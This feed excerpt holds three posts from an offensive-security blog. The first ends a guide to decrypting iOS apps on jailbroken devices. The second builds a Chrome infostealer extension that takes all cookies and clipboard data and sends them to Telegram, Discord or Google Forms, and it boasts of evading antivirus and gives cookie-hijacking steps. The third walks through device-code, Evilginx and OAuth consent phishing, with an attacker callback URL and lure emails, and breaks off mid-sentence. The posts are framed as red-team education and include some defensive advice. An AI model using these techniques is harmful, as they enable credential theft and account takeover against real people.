workflows:</strong></p><ol><li>DumpDecrypter (easiest on-device GUI)</li><li>Frida-iOS-dump (most powerful &amp; reliable — primary recommendation)</li><li>Filza manual bundle extraction (quick fallback)</li><li>Others (iMazing &amp; legacy tools — summary only)</li></ol><h4>Method 1: DumpDecrypter (GUI — Beginner Friendly)</h4><p>DumpDecrypter is a jailbreak utility that decrypts App Store–installed iOS applications directly on a device. It produces decrypted .ipa files for analysis, reverse engineering, or personal backup.</p><p><strong>Installation:</strong></p><ol><li><strong>Open your package manager</strong> (Cydia, Sileo, Zebra, etc.).</li><li>Navigate to <strong>Sources → Edit → Add</strong>.</li><li>Add a trusted repository URL, e.g.:</li></ol><ul><li><a href="https://jailrepo.initnil.com/">https://jailrepo.initnil.com</a></li><li><a href="https://invalidunit.github.io/netskao-archive/">https://invalidunit.github.io/netskao-archive/</a></li></ul><p><strong>4. Refresh sources</strong> and search for <strong>DumpDecrypter</strong> or <strong>DumpDecrypter-Rootless</strong></p><p>5. Tap <strong>Install</strong>, then <strong>Respring</strong> or <strong>Reboot</strong> your device.</p><p>6. Launch <strong>DumpDecrypter</strong> from your home screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Ea8-NPV2zwSLPlSZmP4Ipw.png" /></figure><p><strong>Usage:</strong></p><ol><li>Open DumpDecrypter.</li><li>Select the target app e.g. TikTok from the list (must be installed; launch it once if needed).</li><li>Wait for decryption (progress bar shown).</li><li><strong>Decrypted.ipa</strong> saves automatically to: <strong>/var/mobile/Documents/DumpDecrypter/</strong> (or similar — check app info).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*wP7AZadmcdRQ2cyfqB2XMw.png" /></figure><p>5. Transfer via SSH (USB forwarding example):</p><pre>iproxy 2222 22<br>scp -P 2222 mobile@localhost:/var/mobile/Documents/DumpDecrypter/TikTok.ipa .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUqbn3CSMSq7p8cdt12hdQ.png" /></figure><p><strong>Pros:</strong> One-tap simplicity, no computer needed.</p><p><strong>Cons:</strong> Crashes/fails on apps with anti-debugging or strong runtime protections.</p><h4>Method 2: Frida-iOS-dump (CLI from Computer)</h4><p>Frida-iOS-dump is the gold standard in 2026 for pentesting — it dumps from memory while the app runs, bypassing many protections that kill on-device dumpers.</p><p><strong>Prerequisites:</strong></p><ul><li>Frida server on device: Sileo → Add <a href="https://build.frida.re/?referrer=grok.com">https://build.frida.re</a> → Install “Frida”.</li><li>Frida tools on PC: <em>pip install frida-tools</em> (or pipx).</li><li>USB preferred: <em>iproxy 2222 22</em></li></ul><p><strong>Steps:</strong></p><ol><li>List running apps &amp; get Bundle ID / display name: frida-ps -Ua</li></ol><p>(If multiple devices connected: <em>frida-ls-devices </em>→ <em>frida-ps -D &lt;id&gt; -Ua</em>)</p><p>2. Clone &amp; prepare (once):</p><pre>git clone https://github.com/AloneMonkey/frida-ios-dump.git <br>cd frida-ios-dump <br>pip3 install -r requirements.txt</pre><p>3. Forward SSH over USB: iproxy 2222 22</p><p>4. Dump (app must be open/foreground): python3 dump.py &quot;App Display Name&quot; --user mobile --password faris --output decrypted-app.ipa</p><p>or by Bundle ID: python3 dump.py com.example.app --user mobile --password faris --output term.ipa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*YvWSgG0SufuJVq1dpqO0xA.png" /></figure><p><strong>Advantages:</strong> Handles anti-debugging/anti-hooking very well, clean decrypted binaries, remote control.</p><h4>Method 3: Quick Fallback Method: Filza Manual Bundle Extraction</h4><p>When Frida or DumpDecrypter fail, manually grab the decrypted bundle from disk (works if app was running and decrypted in memory).</p><ol><li>Open <strong>Filza</strong>.</li><li>Go to: <strong>/var/containers/Bundle/Application/</strong> → Find app’s UUID folder.</li><li>Inside: Long-press <strong>YourApp.app</strong> → Copy.</li><li>Create folder <strong>Payload</strong> in /var/mobile/Documents/ (or elsewhere).</li><li>Paste YourApp.app inside Payload.</li><li>Long-press Payload → Compress/Zip → Rename zip file to <strong>YourApp.ipa</strong>.</li></ol><ul><li>Or via SSH/NewTerm (as root):cd /path/to/Payload &amp;&amp; zip -r ../YourApp.ipa YourApp.app</li></ul><p>7. Transfer:scp -P 2222 mobile@localhost:/var/mobile/Documents/YourApp.ipa .</p><p><strong>Limitation:</strong> Only extracts what’s already decrypted on disk — not full runtime decryption for heavily protected apps.</p><h4>Other Methods (Summary — Use Sparingly)</h4><ul><li><strong>iMazing</strong> (no jailbreak needed): GUI backup tool from computer (imazing.com). Can extract some app data, but <strong>cannot fully decrypt</strong> modern App Store binaries (only partial/unusable for RE). Trial limited — mention only for non-jailbroken scenarios.</li><li><strong>IPA Installer</strong> (legacy): Old CLI tweak (ipainstaller -b &lt;bundleid&gt;) — almost never works reliably in 2026. Deprecated — skip unless you have a very old setup.</li></ul><p>Once you have the decrypted .ipa, unzip it and start static analysis (Info.plist, Mach-O in Hopper/Ghidra, frameworks, etc.).</p><blockquote>Stay tuned for Part 3 — where we defeat iOS network protections and perform real traffic analysis!</blockquote><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p>#MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1dcf484b5036" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-ios-pentesting-part-2-shell-access-file-transfers-ipa-app-signing-trollstore-ipa-1dcf484b5036">Mastering iOS Pentesting: Part 2 — Shell Access, File Transfers, IPA-App Signing, TrollStore &amp; IPA…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-8-simulating-apt-infostealer-via-stealthy-ab128dbb83c6?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/ab128dbb83c6</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Mon, 05 May 2025 01:25:34 GMT</pubDate>
            <atom:updated>2025-05-05T09:30:08.639Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy Browser Extension for Cookie Exfiltration (Telegram, Discord &amp; Google Forms)</h3><blockquote>In this part of the “Mastering Modern Red Teaming Infrastructure” series, we explore the design and deployment of a stealthy Chrome extension tailored for red team simulations. This tool is built to silently extract valuable session data such as all saved browser cookies (including Azure AD), clipboard content, and device fingerprints and exfiltrate them on Telegram, Discord and Google form while maintaining strong OPSEC.</blockquote><blockquote><strong>Disclaimer:</strong> This is meant for educational and simulation purposes only.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SRBZIcgpbOXAFV9i2TLp9Q.jpeg" /></figure><h3>Table of Contents</h3><ol><li>VirusTotal AV Bypass Verification</li><li>Red Team Extension Design &amp; Features</li></ol><ul><li>Cookie Exfiltration</li><li>Clipboard Data Capture</li><li>Device Fingerprinting</li><li>Tab Monitoring</li><li>Stealthy OPSEC Measures</li><li>Extension Persistence</li></ul><p>3. Building the Malicious Chrome Extension: POC Code</p><p>4. Setup Exfiltration Channels</p><ul><li>Telegram Bot Setup</li><li>Discord Webhook Setup</li><li>Google Form Setup</li></ul><p>5. Hijacking Sessions Using Stolen Cookies (Manual or Automated)</p><p>6. Real-World APT Reference</p><p>7. Final Thoughts</p><h3>1. VirusTotal AV Bypass Verification</h3><p>To test the stealthiness of our Chrome extension, we generated a packed version and submitted it to <strong>VirusTotal</strong> for analysis. The results confirmed that <strong>none of the 61 antivirus (AV) engines flagged the extension as malicious</strong>, demonstrating its ability to evade detection.</p><h4>VirusTotal Scan Results:</h4><p><em>No AV detected the extension as malicious.</em></p><p>This confirms the effectiveness of the implemented OPSEC measures, including<br> ✅ <strong>No static signatures matching known threats</strong><br> ✅ <strong>Randomized network requests</strong> to avoid pattern detection<br> ✅ <strong>Encrypted exfiltration channels</strong> to bypass heuristic analysis<br> ✅ <strong>Stealthy background execution</strong> without console logs or suspicious behaviors</p><p>Such results reinforce the need for blue teams to improve defenses against malicious browser extensions, as traditional antivirus solutions are ineffective in detecting these types of threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6J2eauSVdJrUz-2xxtVnA.png" /><figcaption>VirusTotal AV Bypass Verification</figcaption></figure><h3>2. Red Team Extension Design &amp; Features</h3><h4>2.1 Cookie Exfiltration</h4><p>Captures <strong>all saved cookies</strong> across domains, not just Azure-related ones. Cookies are formatted into structured JSON for easier importing using browser extensions or automation tools.</p><p>Sample structure:</p><pre>[<br>  {<br>    &quot;domain&quot;: &quot;.example.com&quot;,<br>    &quot;name&quot;: &quot;sessionid&quot;,<br>    &quot;value&quot;: &quot;abc123&quot;,<br>    &quot;path&quot;: &quot;/&quot;,<br>    &quot;httpOnly&quot;: true,<br>    &quot;secure&quot;: true<br>  },<br>  ...<br>]</pre><h4>2.2 Clipboard Data Capture</h4><p>Hooks into the clipboard to capture sensitive copied text.</p><p>⚠️ Clipboard access may be restricted depending on the Chromium version and whether the access occurs in a background context. In practice, capturing clipboard content reliably may require tab injection.</p><h4>2.3 Device Fingerprinting</h4><p>Captures:</p><ul><li>User agent</li><li>Screen resolution</li><li>Platform</li><li>Timezone</li><li>Language</li></ul><h4>2.4 Tab Monitoring</h4><p>Watches for tab focus or changes and logs tab titles and URLs for behavior profiling.</p><h4>2.5 Stealthy OPSEC Measures</h4><ul><li>No console logs</li><li>All fetches are async and silent</li><li>Randomized intervals</li><li>Avoids detection from standard monitoring tools</li></ul><h4>2.6 Extension Persistence</h4><p>The extension uses a background service worker and manifest to ensure it reloads upon browser restart.</p><p>The extension is also set to auto-reinstall if removed via a controlled enterprise policy simulation in the lab.</p><h3>3. Building the Malicious Chrome Extension: POC Code</h3><p>The core functionality is divided into background, content, and utility scripts. Below is a simplified outline of the payload structure.</p><p><strong>manifest.json</strong></p><pre>{<br>    &quot;manifest_version&quot;: 3,<br>    &quot;name&quot;: &quot;Authorized Red Team Extension - Advanced APT Simulation&quot;,<br>    &quot;version&quot;: &quot;3.0&quot;,<br>    &quot;description&quot;: &quot;Chrome extension for red team simulation in an isolated lab with full authorization.&quot;,<br>    &quot;permissions&quot;: [<br>      &quot;cookies&quot;,<br>      &quot;history&quot;,<br>      &quot;tabs&quot;,<br>      &quot;clipboardRead&quot;,<br>      &quot;storage&quot;<br>    ],<br>    &quot;host_permissions&quot;: [<br>      &quot;&lt;all_urls&gt;&quot;<br>    ],<br>    &quot;background&quot;: {<br>      &quot;service_worker&quot;: &quot;background.js&quot;<br>    },<br>    &quot;action&quot;: {<br>      &quot;default_title&quot;: &quot;Diagnostics&quot;<br>    }<br>  }</pre><p><strong>background.js (core logic on my Github)</strong></p><p><a href="https://github.com/0xFFF-cmd/Infostealer-Extension/blob/main/background.js">Infostealer-Extension/background.js at main · 0xFFF-cmd/Infostealer-Extension</a></p><p><strong>Load the Extension</strong></p><ol><li>Open Chrome and navigate to:</li></ol><p>chrome://extensions/</p><p>2. Enable <strong>Developer Mode</strong>.</p><p>3. Click <strong>“Load Unpacked”</strong>.</p><p>4. Select the extension Infostealer-Extension folder.</p><p>The extension silently runs and starts collecting session cookies and others in the background and exfiltrates the data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocPCOZMhNPrPY_02AG_7MQ.png" /><figcaption>Exfiltrate vía Discord.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mn1wh1jKlYnV0SQiXbaZqQ.png" /><figcaption>Exfiltrate vía Google Form.</figcaption></figure><h3>4. Setup Exfiltration Channels</h3><h4>4.1 Telegram Bot Setup</h4><p>To set up Telegram exfiltration:</p><ol><li>Open Telegram and talk to @BotFather</li><li>Create a new bot: /newbot</li><li>Copy your BOT_TOKEN</li><li>Send a message to your bot.</li><li>Visit: <a href="https://api.telegram.org/bot">https://api.telegram.org/bot</a>&lt;YOUR_BOT_TOKEN&gt;/getUpdates</li><li>Copy your chat.id</li></ol><h4>4.2 Discord Webhook Setup</h4><ol><li>Open a Discord server.</li><li>Go to Channel Settings &gt; Integrations &gt; Webhooks</li><li>Create a webhook and copy the full URL: <a href="https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN">https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN</a></li></ol><h4>4.3 Google Form Setup</h4><ol><li>Create a Google Form with a paragraph field for cookie data.</li><li>Open the form preview, inspect the input, and get the entry.&lt;id&gt; value.</li></ol><pre>const GOOGLE_FORM_URL = &quot;https://docs.google.com/forms/d/e/.../formResponse&quot;;<br>const FORM_COOKIE_FIELD = &quot;entry.717920838&quot;;</pre><h3>5. Hijacking Sessions Using Stolen Cookies (Manual or Automated)</h3><p>You can use the exfiltrated cookies by importing them with browser tools such as:</p><ul><li>EditThisCookie</li><li>Cookie-Editor</li><li>Burp Suite for replaying API calls</li></ul><p><strong>Automation Tip:</strong> Use Puppeteer or Playwright with page.setCookie(...) to automate session hijacking in simulations.</p><h3>6. Real-World APT Reference</h3><p>This simulation emulates tactics observed in:</p><ul><li>APT29 (Cozy Bear): Credential and token theft via browser extensions.</li><li>APT40: Targeted cookie/session hijacking in cloud environments.</li><li>UNC2452 (SolarWinds breach): Advanced OPSEC and stealthy data exfiltration.</li></ul><h3>7. Final Thoughts</h3><p>This simulation highlights the <strong>risk of browser extensions</strong> — particularly those with cookie access. It demonstrates how stolen session cookies can bypass MFA and enable full access to critical application and cloud accounts.</p><h4><strong>Red teams</strong> Takeaways</h4><p>🔥 Can be used for <strong>targeted session hijacking</strong> in phishing campaigns<br> 🔥 Ideal for <strong>USB-drop or insider threat</strong> simulations<br> 🔥 Demonstrates how <strong>browser extensions remain a major attack vector</strong></p><h4><strong>Blue teams</strong> Defenses:</h4><p>🔹 Implement <strong>strict extension allowlists</strong><br> 🔹 Monitor for <strong>cookie exfiltration attempts</strong><br> 🔹 Detect <strong>logins from unusual geographies and device fingerprints</strong></p><h3>Next: Deeper Into The Shadows</h3><p>In the next part, we push further into <strong>2FA bypasses, hardcore credential theft, and social engineering exploits</strong>, exploring:</p><p>🔹 <strong>Browser-in-the-Browser (BitB) illusions</strong><br> 🔹 <strong>Click-Fix exploits</strong><br> 🔹 <strong>Captcha Copy-Paste traps</strong></p><p>Stay tuned for Part 9.</p><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab128dbb83c6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-8-simulating-apt-infostealer-via-stealthy-ab128dbb83c6">Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-7-advanced-phishing-techniques-for-2fa-bypass-85f9adc4dc3b?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/85f9adc4dc3b</guid>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 15:44:35 GMT</pubDate>
            <atom:updated>2025-04-27T15:44:35.155Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass: Device code phishing, dynamic device codes phishing, Consent phishing and Evilginx</h3><blockquote>With organizations heavily relying on MFA/2FA for protection, red teamers and threat actors have adapted.<br> They no longer just steal passwords — they <strong>steal access</strong> by hijacking tokens, abusing OAuth flows, and bypassing 2FA completely.</blockquote><blockquote>In Part 7 of the “Mastering Modern Red Teaming Infrastructure” series, I will walk you through <strong>practical 2FA bypass attacks</strong> that simulate real-world adversaries include <strong>Device Code Phishing</strong>, <strong>Dynamic Device Code Flows</strong>, <strong>Consent and Permissions Attacks</strong>, and <strong>Evilginx2-based Session Hijacking</strong>.</blockquote><blockquote>Each technique includes <strong>a clear step-by-step flow</strong> based on modern offensive tradecraft.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*_GzfrbJMuPT33Kdd8E7j0g.png" /></figure><h3>Table of Contents</h3><ol><li><strong>Device Code Phishing</strong> — Static Approach</li><li><strong>Evilginx2</strong>— Man-in-the-Middle Phishing with Session Hijacking</li><li><strong>Dynamic Device Code Phishing</strong> — Live Code Phishing</li><li>Consent and Permissions Phishing (<strong>OAuth Consent Grant</strong>)</li><li>Why These Attacks Work</li><li>Real-World APT Examples: Who Uses These Techniques?</li><li>Final Thought</li></ol><h3>1. Device Code Phishing — Static Approach</h3><p><strong>Concept</strong>: Abuse the OAuth 2.0 Device Authorization Grant to capture authenticated sessions without stealing passwords.</p><p>Device Code Phishing exploits the OAuth 2.0 Device Authorization Grant flow by tricking victims into authorizing a malicious application. Attackers convince users to visit a legitimate cloud provider’s domain — such as Microsoft’s microsoft.com/devicelogin or Google’s google.com/device — and enter a legitimate-looking code. Once the victim submits the code and grants consent, the attacker obtains access tokens to access the victim’s resources, bypassing traditional credential-based protections and even multi-factor authentication (2FA).</p><p>This method is <strong>highly dangerous</strong> because it often <strong>bypasses traditional MFA protections</strong> — the authentication happens separately and outside the phishing page itself.</p><blockquote>⚡ <strong>Microsoft Warning:</strong><br> In February 2025, Microsoft issued a strong caution regarding <strong>Storm-2372</strong>, an active APT group conducting widespread <strong>Device Code Phishing campaigns</strong> targeting Microsoft 365 users. (<a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/#Update-February-14">Source</a>)<br> Microsoft emphasized that this technique is <strong>rapidly growing among APTs</strong> because it <strong>abuses legitimate device login workflows</strong> and <strong>stealthily bypasses MFA</strong>.</blockquote><p>Device Code Phishing is no longer theoretical; it is now <strong>widely exploited in the wild</strong> by advanced threat actors for gaining <strong>persistent access to cloud environments</strong> without raising standard alerting mechanisms.</p><h4><strong>Steps</strong>:</h4><p><strong>1.1 Initiate Device Code Request (I will use the TokenTactics tool):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWlzhrVVWIa6YrXsTFLtuw.png" /></figure><p><strong>1.2. Send Phishing Email</strong></p><ul><li>Email user with a link to <a href="https://microsoft.com/devicelogin.">https://microsoft.com/devicelogin</a></li><li>Instruct user to <strong>enter the provided </strong><strong>user_code</strong> (you control it). here the code is <strong>LCSDQKUPQ</strong></li></ul><p><strong>1.3. Poll for Authentication</strong></p><p>When the victim enters the code and logs in, you immediately receive an <strong>access token</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8NZnlpyUoOdMtn9tLCDnQ.png" /><figcaption>Victim entered provided user_code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-gkSmzafQb855uehHz-_Q.png" /><figcaption>Victim selects Microsoft account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ripjAC0aSSFhlJWRd7fo_Q.png" /><figcaption>Victime complète 2FA</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TEDiiPry_BGjlaAiqHGsxQ.png" /><figcaption><strong>TokenTactics R</strong>eceive an <strong>access token after victim authentication</strong></figcaption></figure><p><strong>1.4. Access Victim’s Resources</strong></p><p>Use the stolen victim token to call graph APIs and access (e.g., Outlook, OneDrive, Teams, SharePoint, and other company user PII info).</p><p>You can use my tool on GitHub or another to access and search/download a victim’s Office 365 emails using their stolen access token.</p><p><a href="https://github.com/0xFFF-cmd/GraphHook">GitHub - 0xFFF-cmd/GraphHook: It allows users to access and search emails from Office 365 accounts using stolen OAuth tokens. can extract and analyze email data, search locally within email subjects and bodies, download email attachments, and more. It&#39;s an efficient way to automate email reconnaissance and data extraction from compromised accounts.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*V-wU0qfJrQ3qBG1XitktHA.png" /><figcaption><strong>Access Victim’s Emails</strong></figcaption></figure><p><strong>Note</strong>: This code assumes the token is authorized for Mail.Read or Mail.ReadWrite scopes. Always ensure you have proper authorization when using Microsoft Graph.</p><h3>2. Evilginx2 — Man-in-the-Middle Phishing with Session Hijacking</h3><p><strong>Concept </strong>: proxy real login pages while silently stealing credentials and session cookies.</p><p>✅ <strong>Result </strong>: Full session hijack even against hardware-backed MFA.</p><h4>Steps :</h4><p><strong>2.1 Open Evilginx2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sZIeqX5kECW_e2OBnqDKw.png" /></figure><p><strong>2.2 Add Your Domain and IP and Hostname to Evilginx2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HjBr7CkboNC1PpYvv1HnRg.png" /></figure><p><strong>2.3 Enable Office 365 module and create lure (landing page) + list it to see phishing URL page.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9AhGDZ-ouGMjzBU44_ADww.png" /></figure><p><strong>2.4 Send an email or SMS to the victim containing a link to the Evilginx landing page (</strong><a href="https://login.online-notifications.net/kVQhKKxf"><strong>https://login.online-notifications.net/kVQhKKxf</strong></a><strong>). and the client opens it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLvoSm0pOReQdrPJ3m-Sow.png" /></figure><p><strong>2.5 After the victim completes authentication with the 2FA, all his session cookies and email and password will be received on the Evilginx backend.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhThRIMlfaEPJ5-UFlkfsA.png" /></figure><p><strong>2.6 Replay Session : I will inject the victim&#39;s cookies into the browser and access his account portal or Azure service.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JhNcl-PN9KNFMbXPT9uNiA.png" /><figcaption>Access Victim Account</figcaption></figure><h3><strong>3. Dynamic Device Code Phishing — Live Code Phishing</strong></h3><p>Traditional Device Code Phishing requires sending a static user_code to the target, relying on them to act quickly before the code expires (typically within 15 minutes).<br> Dynamic Device Code Phishing improves this by generating the user_code <strong>only when the user clicks the phishing link</strong>, ensuring the code is always fresh and dramatically increasing the success rate.</p><p><strong>To set up Dynamic Device Code Phishing, it will take a long time, so I will summarize it:</strong></p><ul><li>Deploy a <strong>static website</strong> (e.g., using Azure Static Web Apps) that fetches a fresh device_code and user_code via an API call when visited.</li><li>The website sends the device_code to a <strong>Function App</strong> (triggered over HTTP) inside the attacker&#39;s Azure tenant (nomoreoil.onmicrosoft.com).</li><li>The <strong>Function App</strong> continuously monitors the authentication status, automatically requesting access tokens once the victim authenticates.</li><li>If successful, the tokens are saved into a <strong>Storage Account Table Service</strong> for later retrieval.</li></ul><p><strong>Example Infrastructure Setup:</strong></p><p><strong>3.1 Static Website</strong> — Hosts the phishing page and uses jQuery to fetch device codes dynamically.</p><p><strong>3.2 Function App</strong> — Handles device code monitoring and token harvesting using PowerShell.</p><p><strong>3.3 Storage Account</strong> — Stores the captured access tokens securely.</p><p>This method ensures the phishing operation remains valid for longer, maximizing the window of opportunity to capture valid tokens.</p><h3>4. Consent and Permissions Phishing (OAuth Consent Grant)</h3><p>In a <strong>Consent Phishing</strong> attack, instead of stealing the user’s credentials, the attacker <strong>tricks the user into granting OAuth permissions</strong> to a malicious application, allowing the attacker direct access to the user’s account data.</p><blockquote>⚡ <strong>Recent Incidents:</strong><br> In April 2025, major cybersecurity reports highlighted <strong>Russian APT groups</strong> exploiting Microsoft OAuth frameworks for large-scale espionage operations:</blockquote><blockquote><strong>The Hacker News</strong> reported that attackers created rogue OAuth apps and tricked users into granting access, leading to <strong>unauthorized access to Microsoft 365 data</strong> without triggering normal credential theft detections. (<a href="https://thehackernews.com/2025/04/russian-hackers-exploit-microsoft-oauth.html">Source</a>)</blockquote><blockquote><strong>Volexity</strong>’s detailed analysis described how threat actors <strong>phished for OAuth codes</strong> and <strong>abused Microsoft’s Device Code flow and OAuth workflows</strong> to maintain stealthy, persistent access inside cloud environments. (<a href="https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/">Source</a>)</blockquote><p>Consent and Permissions Phishing is extremely dangerous because it allows <strong>long-term access</strong> even after password resets or traditional incident response actions.</p><p><strong>How the Attack Works (Example Flow)</strong></p><p><strong>4.1 Attacker registers a malicious app</strong> in Azure AD (or Google Cloud / any OAuth provider).</p><ul><li>Example: “SecureMail Reader” or “Company Document Viewer”.</li></ul><p><strong>4.2 Attacker crafts a malicious OAuth Consent URL</strong> like this:</p><pre>https://login.microsoftonline.com/common/oauth2/v2.0/authorize?<br>client_id=ATTACKER_APP_ID<br>&amp;response_type=code<br>&amp;redirect_uri=https://attacker-website.com/callback<br>&amp;response_mode=query<br>&amp;scope=Mail.Read%20offline_access%20User.Read<br>&amp;state=random_state_value</pre><p><strong>Key parts:</strong></p><ul><li>client_id = Attackers&#39; app ID</li><li>scope = Sensitive permissions like Mail.Read, offline_access, Files.Read, User.Read</li><li>redirect_uri = Attackers&#39; server to capture the authorization code</li></ul><p>4.3 <strong>Victim receives a phishing email</strong> like:</p><blockquote>“You need to authorize SecureMail Reader to continue accessing your company emails securely. Click here to approve.”</blockquote><p>4.4 <strong>Victim clicks</strong> the link and <strong>sees a legitimate Microsoft or Google OAuth consent screen</strong> requesting the permissions (because the app is real but malicious).</p><p><strong>4.5 Victim clicks “Accept”</strong> thinking it’s normal.</p><p><strong>4.6 Attacker receives</strong> an OAuth authorization code, exchanges it for an access token, and can now:</p><ul><li><strong>Read all the victim’s emails</strong> (Mail.Read)</li><li><strong>Access OneDrive files</strong> (Files.Read)</li><li><strong>Profile information</strong> (User.Read)</li><li><strong>Refresh tokens silently</strong> (offline_access)</li></ul><p>⚡ <strong>No need for username or password</strong> — just abuse the granted access token.</p><p><strong>Realistic Example Scenario</strong></p><ul><li>The attacker registers an app called <strong>“Work From Home Secure Portal”</strong>.</li><li>Sends the victim an email saying:</li></ul><blockquote>“Due to new work-from-home policies, all employees must authorize the new Secure Portal app by clicking below.”</blockquote><ul><li>The link brings them to the real <strong>Microsoft OAuth consent screen</strong>, requesting: <strong>Mail.Read</strong> and <strong>Files.Read</strong> and <strong>offline_access</strong></li><li>The victim clicks <strong>“Accept”</strong> — thinking it’s legitimate.</li><li>Attacker can now <strong>read all emails</strong>, <strong>download sensitive files</strong>, and <strong>refresh access without user interaction</strong>.</li></ul><p><strong>Key Techniques Used:</strong></p><ul><li>Legitimate OAuth flow (no password stealing)</li><li>Social engineering through trust (real Microsoft page)</li><li>Abuse of permissions granted by the user (not technical vulnerabilities)</li></ul><p><strong>How to Defend Against It:</strong></p><ul><li>Enable <strong>OAuth app consent policies</strong> (require admin approval for risky apps)</li><li><strong>Restrict third-party app registrations</strong></li><li>Educate users about unexpected consent requests</li><li>Monitor OAuth grants in the organization</li></ul><h3>Why These Attacks Work</h3><p>Modern identity systems <strong>trust tokens more than passwords</strong>:</p><ul><li>Once a session token is issued after 2FA, it’s treated as valid until expiry.</li><li>OAuth apps are often <strong>trusted too much</strong> (users rarely read scopes carefully).</li><li>Defenders monitor logins — but <strong>not always app grants or token theft</strong>.</li></ul><p>Thus, <strong>post-authentication artifacts</strong> are the new target.</p><h3>Real-World APT Examples: Who Uses These Techniques?</h3><p>Advanced threat actors and APT groups are increasingly adopting phishing techniques that <strong>bypass traditional MFA</strong> through OAuth abuse, session hijacking, and advanced cloud-targeted methods. Some real-world examples include:</p><p>Advanced threat actors and APT groups are increasingly adopting phishing techniques that <strong>bypass traditional MFA</strong> through OAuth abuse, session hijacking, and advanced cloud-targeted methods. Some real-world examples include</p><ul><li>In February 2025, <strong>Storm-1295 (</strong><a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/#Update-February-14"><strong>Microsoft naming</strong></a><strong>)—Engaged</strong> in <strong>device code phishing</strong> targeting Microsoft 365 users to bypass MFA and gain 